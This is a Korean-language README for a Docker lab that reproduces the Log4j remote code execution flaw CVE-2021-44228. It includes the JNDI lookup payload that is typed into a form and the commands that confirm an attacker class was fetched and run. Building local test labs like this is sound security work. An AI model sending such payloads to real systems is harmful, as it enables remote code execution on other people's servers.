
log4j2 CVE-2021-44228 POC
log4j2의 원격 코드 실행 취약점(CVE-2021-44228)을 실제로 시험해보기 위한 프로젝트입니다.
docker-compose up
log4j 컨테이너는 시작된 후 사용 가능해질 때까지 약간의 시간이 걸립니다. 다음 명령어로 진행 상황을 확인하세요.
docker logs -f log4j
Server started: Listening on port 8081이라고 표시되면 준비 완료입니다.
log4j 컨테이너의 /root 디렉터리를 확인합니다.
docker exec log4j ls /root
초기 상태에서는 work 디렉터리만 있는 상태입니다.
http://localhost:8081/에 접속합니다. 폼에 입력된 이름을 화면과 로그에 출력하는 간단한 애플리케이션입니다.
폼에 ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}을 입력하고 전송합니다.
log4j 컨테이너의 /root 디렉터리를 확인합니다.
docker exec log4j ls /root
공격자가 준비한 코드가 실행되어, 이전까지 존재하지 않았던 파일이 생성되어 있어야 합니다. 타임스탬프를 파일명으로 사용하므로 공격을 수행한 횟수만큼 새 파일이 증가합니다.
ldap 컨테이너의 로그를 확인하면 log4j 컨테이너로부터 SEARCH 요청이 오는 것을 확인할 수 있습니다.
docker logs ldap
web 컨테이너의 tomcat 로그를 확인하면 log4j 컨테이너로부터 Exploit.class(공격에 사용하는 클래스)에 대한 접근이 오는 것을 확인할 수 있습니다.
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*